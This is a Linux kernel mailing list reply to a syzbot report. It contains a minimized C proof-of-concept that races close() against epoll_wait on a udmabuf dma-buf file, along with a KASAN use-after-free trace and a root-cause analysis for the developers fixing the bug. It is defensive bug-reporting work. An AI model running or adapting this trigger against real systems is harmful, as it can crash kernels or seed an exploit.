From: Bui Quang Minh <minhquangbui99@gmail.com>
To: syzbot <syzbot+045b454ab35fd82a35fb@syzkaller.appspotmail.com>,
axboe@kernel.dk, brauner@kernel.org, io-uring@vger.kernel.org,
jack@suse.cz, linux-fsdevel@vger.kernel.org,
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com,
viro@zeniv.linux.org.uk
Cc: "Sumit Semwal" <sumit.semwal@linaro.org>,
"Christian König" <christian.koenig@amd.com>,
linux-media@vger.kernel.org, dri-devel@lists.freedesktop.org,
linaro-mm-sig@lists.linaro.org, linux-kernel@vger.kernel.org,
"Laura Abbott" <laura@labbott.name>,
"Kees Cook" <keescook@chromium.org>
Subject: Re: [syzbot] [fs?] [io-uring?] general protection fault in __ep_remove
Date: Fri, 3 May 2024 18:54:22 +0700 [thread overview]
Message-ID: <7c41cf3c-2a71-4dbb-8f34-0337890906fc@gmail.com> (raw)
In-Reply-To: <0000000000002d631f0615918f1e@google.com>
Hi everyone,
I've tried to debug this syzkaller's bug report
Here is my minimized proof-of-concept
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <linux/udmabuf.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/ioctl.h>
#define err_msg(msg) do {perror(msg); exit(1);} while(0)
void *close_thread(void *arg)
{
int fd = (int) (long) arg;
close(fd);
}
int main()
{
int fd, dmabuf_fd, memfd, epoll_fd, ret;
struct udmabuf_create dmabuf_arg = {};
struct epoll_event event = {
.events = EPOLLIN | EPOLLOUT,
};
pthread_t thread;
memfd = memfd_create("test", MFD_ALLOW_SEALING);
if (memfd < 0)
err_msg("memfd-create");
if (ftruncate(memfd, 0x1000) < 0)
err_msg("ftruncate");
ret = fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
if (ret < 0)
err_msg("add-seal");
fd = open("/dev/udmabuf", O_RDWR);
if (fd < 0)
err_msg("open");
dmabuf_arg.memfd = memfd;
dmabuf_arg.size = 0x1000;
dmabuf_fd = ioctl(fd, UDMABUF_CREATE, &dmabuf_arg);
if (dmabuf_fd < 0)
err_msg("ioctl-udmabuf");
epoll_fd = epoll_create(10);
if (epoll_fd < 0)
err_msg("epoll-create");
ret = epoll_ctl(epoll_fd, EPOLL_CTL_ADD, dmabuf_fd, &event);
if (ret < 0)
err_msg("epoll-ctl-add");
pthread_create(&thread, NULL, close_thread, (void *) (long) dmabuf_fd);
epoll_wait(epoll_fd, &event, 1, -1);
return 0;
}
When running the above proof-of-concept on Linux 6.9.0-rc6 with KASAN
and the
following patch for easier reproducible, I got the KASAN bug report
diff --git a/drivers/dma-buf/dma-buf.c b/drivers/dma-buf/dma-buf.c
index 8fe5aa67b167..de3463e7d47b 100644
--- a/drivers/dma-buf/dma-buf.c
+++ b/drivers/dma-buf/dma-buf.c
@@ -27,6 +27,7 @@
#include <linux/mm.h>
#include <linux/mount.h>
#include <linux/pseudo_fs.h>
+#include <linux/delay.h>
#include <uapi/linux/dma-buf.h>
#include <uapi/linux/magic.h>
@@ -240,6 +241,7 @@ static __poll_t dma_buf_poll(struct file *file,
poll_table *poll)
struct dma_resv *resv;
__poll_t events;
+ mdelay(1000);
dmabuf = file->private_data;
if (!dmabuf || !dmabuf->resv)
return EPOLLERR;
> while true; do ./mypoc_v2; done
==================================================================
BUG: KASAN: slab-use-after-free in __fput+0x164/0x523
Read of size 8 at addr ffff88800051e830 by task mypoc_v2/402
CPU: 0 PID: 402 Comm: mypoc_v2 Not tainted 6.9.0-rc5+ #11
Call Trace:
<TASK>
dump_stack_lvl+0x49/0x65
? __fput+0x164/0x523
print_report+0x170/0x4c2
? __virt_addr_valid+0x21b/0x22c
? kmem_cache_debug_flags+0xc/0x1d
? __fput+0x164/0x523
kasan_report+0xae/0xd5
? __fput+0x164/0x523
__fput+0x164/0x523
? __pfx___schedule+0x10/0x10
task_work_run+0x16a/0x1bb
? __pfx_task_work_run+0x10/0x10
? __x64_sys_epoll_wait+0x107/0x143
resume_user_mode_work+0x21/0x44
syscall_exit_to_user_mode+0x5d/0x76
do_syscall_64+0xb5/0x107
entry_SYSCALL_64_after_hwframe+0x76/0x7e
RIP: 0033:0x44d99e
Code: 10 89 7c 24 0c 89 4c 24 1c e8 2e 8c 02 00 44 8b 54 24 1c 8b 54 24
18 41 89 c0 48 8b 74 24 10 8b 7c 24 0c b8 e8 00 00 00 0f 05 <48> 3d 00
f0 ff ff 77 32 44 89 c7 89 44 24 0c e8 6e 8c 02 00 8b 44
RSP: 002b:00007fffaec21770 EFLAGS: 00000293 ORIG_RAX: 00000000000000e8
RAX: 0000000000000001 RBX: 00007fffaec219e8 RCX: 000000000044d99e
RDX: 0000000000000001 RSI: 00007fffaec217c4 RDI: 0000000000000006
RBP: 00007fffaec217f0 R08: 0000000000000000 R09: 00007fffaec2167f
R10: 00000000ffffffff R11: 0000000000000293 R12: 0000000000000001
R13: 00007fffaec219d8 R14: 00000000004dc790 R15: 0000000000000001
</TASK>
Allocated by task 402:
kasan_save_stack+0x24/0x44
kasan_save_track+0x14/0x2d
__kasan_slab_alloc+0x47/0x55
kmem_cache_alloc_lru+0x12a/0x172
__d_alloc+0x2d/0x618
d_alloc_pseudo+0x14/0x8d
alloc_path_pseudo+0xa5/0x165
alloc_file_pseudo+0x7f/0x124
dma_buf_export+0x37f/0x894
udmabuf_create+0x53e/0x68c
udmabuf_ioctl+0x133/0x212
vfs_ioctl+0x7e/0x95
__do_sys_ioctl+0x51/0x78
do_syscall_64+0x9b/0x107
entry_SYSCALL_64_after_hwframe+0x76/0x7e
Freed by task 403:
kasan_save_stack+0x24/0x44
kasan_save_track+0x14/0x2d
kasan_save_free_info+0x3f/0x4d
poison_slab_object+0xcb/0xd8
__kasan_slab_free+0x19/0x38
kmem_cache_free+0xd6/0x136
__dentry_kill+0x22d/0x321
dput+0x3b/0x7f
__fput+0x4f1/0x523
__do_sys_close+0x59/0x87
do_syscall_64+0x9b/0x107
entry_SYSCALL_64_after_hwframe+0x76/0x7e
The buggy address belongs to the object at ffff88800051e800
which belongs to the cache dentry of size 192
The buggy address is located 48 bytes inside of
freed 192-byte region [ffff88800051e800, ffff88800051e8c0)
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x51e
flags: 0x800(slab|zone=0)
page_type: 0xffffffff()
raw: 0000000000000800 ffff888000281780 ffffea0000013ec0 0000000000000002
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88800051e700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff88800051e780: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
>ffff88800051e800: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88800051e880: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff88800051e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
Root cause:
AFAIK, eventpoll (epoll) does not increase the registered file's reference.
To ensure the safety, when the registered file is deallocated in __fput,
eventpoll_release is called to unregister the file from epoll. When calling
poll on epoll, epoll will loop through registered files and call vfs_poll on
these files. In the file's poll, file is guaranteed to be alive, however, as
epoll does not increase the registered file's reference, the file may be
dying
and it's not safe the get the file for later use. And dma_buf_poll violates
this. In the dma_buf_poll, it tries to get_file to use in the callback. This
leads to a race where the dmabuf->file can be fput twice.
Here is the race occurs in the above proof-of-concept
close(dmabuf->file)
__fput_sync (f_count == 1, last ref)
f_count-- (f_count == 0 now)
__fput
epoll_wait
vfs_poll(dmabuf->file)
get_file(dmabuf->file)(f_count == 1)
eventpoll_release
dmabuf->file deallocation
fput(dmabuf->file) (f_count == 1)
f_count--
dmabuf->file deallocation
I am not familiar with the dma_buf so I don't know the proper fix for the
issue. About the rule that don't get the file for later use in poll
callback of
file, I wonder if it is there when only select/poll exist or just after
epoll
appears.
I hope the analysis helps us to fix the issue.
Thanks,
Quang Minh.
next parent reply other threads:[~2024-05-03 11:54 UTC|newest]
Thread overview: 84+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <0000000000002d631f0615918f1e@google.com>
2024-05-03 11:54 ` Bui Quang Minh [this message]
2024-05-03 18:26 ` get_file() unsafe under epoll (was Re: [syzbot] [fs?] [io-uring?] general protection fault in __ep_remove) Kees Cook
2024-05-03 18:49 ` Jens Axboe
2024-05-03 19:22 ` Kees Cook
2024-05-03 19:35 ` Jens Axboe
2024-05-03 19:59 ` Kees Cook
2024-05-03 20:28 ` Kees Cook
2024-05-03 21:11 ` Al Viro
2024-05-03 21:24 ` Linus Torvalds
2024-05-03 21:30 ` Al Viro
2024-05-06 17:46 ` Stefan Metzmacher
2024-05-06 18:17 ` Linus Torvalds
2024-05-08 8:47 ` David Laight
2024-05-03 21:36 ` Al Viro
2024-05-03 21:42 ` Linus Torvalds
2024-05-03 21:53 ` Al Viro
2024-05-06 12:23 ` Daniel Vetter
2024-05-04 9:59 ` Christian Brauner
2024-05-03 21:11 ` [PATCH] epoll: try to be a _bit_ better about file lifetimes Linus Torvalds
2024-05-03 21:24 ` Al Viro
2024-05-03 21:33 ` Linus Torvalds
2024-05-03 21:45 ` Al Viro
2024-05-03 21:52 ` Linus Torvalds
2024-05-03 22:01 ` Al Viro
2024-05-03 22:07 ` Al Viro
2024-05-03 23:16 ` Linus Torvalds
2024-05-03 23:39 ` Al Viro
2024-05-03 23:54 ` Linus Torvalds
2024-05-04 10:44 ` Christian Brauner
2024-05-03 22:46 ` Kees Cook
2024-05-03 23:03 ` Al Viro
2024-05-03 23:23 ` Kees Cook
2024-05-03 23:41 ` Linus Torvalds
2024-05-04 9:19 ` Christian Brauner
2024-05-06 12:37 ` Daniel Vetter
2024-05-04 9:37 ` Christian Brauner
2024-05-04 15:32 ` Linus Torvalds
2024-05-04 15:40 ` Linus Torvalds
2024-05-04 15:53 ` Linus Torvalds
2024-05-05 19:46 ` Al Viro
2024-05-05 20:03 ` Linus Torvalds
2024-05-05 20:30 ` Al Viro
2024-05-05 20:53 ` Linus Torvalds
2024-05-06 12:47 ` Daniel Vetter
2024-05-06 14:46 ` Christian Brauner
2024-05-07 10:58 ` Daniel Vetter
2024-05-06 16:15 ` Christian König
2024-05-05 10:50 ` Christian Brauner
2024-05-05 16:46 ` Linus Torvalds
2024-05-05 17:55 ` [PATCH v2] epoll: be " Linus Torvalds
2024-05-05 18:04 ` Jens Axboe
2024-05-05 20:01 ` David Laight
2024-05-05 20:16 ` Linus Torvalds
2024-05-05 20:12 ` [PATCH] epoll: try to be a _bit_ " Al Viro
2024-05-06 8:45 ` Christian Brauner
2024-05-06 9:26 ` Christian Brauner
2024-05-06 14:19 ` Christian Brauner
2024-05-07 21:02 ` David Laight
2024-05-04 18:20 ` Linus Torvalds
2024-05-06 14:29 ` [Linaro-mm-sig] " Christian König
2024-05-07 11:02 ` Daniel Vetter
2024-05-07 16:46 ` Linus Torvalds
2024-05-07 17:45 ` Christian König
2024-05-08 7:51 ` Michel Dänzer
2024-05-08 7:59 ` Christian König
2024-05-08 8:23 ` Christian Brauner
2024-05-08 9:10 ` Christian König
2024-05-07 18:04 ` Daniel Vetter
2024-05-07 19:07 ` Linus Torvalds
2024-05-08 5:55 ` Christian König
2024-05-08 8:32 ` Daniel Vetter
2024-05-08 10:16 ` Christian Brauner
2024-05-08 8:05 ` Christian Brauner
2024-05-08 16:19 ` Linus Torvalds
2024-05-08 17:14 ` Linus Torvalds
2024-05-09 11:38 ` Christian Brauner
2024-05-09 15:48 ` Linus Torvalds
2024-05-10 6:33 ` Christian Brauner
2024-05-08 10:08 ` Christian Brauner
2024-05-08 15:45 ` Daniel Vetter
2024-05-10 10:55 ` Christian Brauner
2024-05-11 18:25 ` David Laight
2024-05-05 17:31 ` Jens Axboe
2024-05-04 9:45 ` get_file() unsafe under epoll (was Re: [syzbot] [fs?] [io-uring?] general protection fault in __ep_remove) Christian Brauner
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=7c41cf3c-2a71-4dbb-8f34-0337890906fc@gmail.com \
--to=minhquangbui99@gmail.com \
--cc=axboe@kernel.dk \
--cc=brauner@kernel.org \
--cc=christian.koenig@amd.com \
--cc=dri-devel@lists.freedesktop.org \
--cc=io-uring@vger.kernel.org \
--cc=jack@suse.cz \
--cc=keescook@chromium.org \
--cc=laura@labbott.name \
--cc=linaro-mm-sig@lists.linaro.org \
--cc=linux-fsdevel@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-media@vger.kernel.org \
--cc=sumit.semwal@linaro.org \
--cc=syzbot+045b454ab35fd82a35fb@syzkaller.appspotmail.com \
--cc=syzkaller-bugs@googlegroups.com \
--cc=viro@zeniv.linux.org.uk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).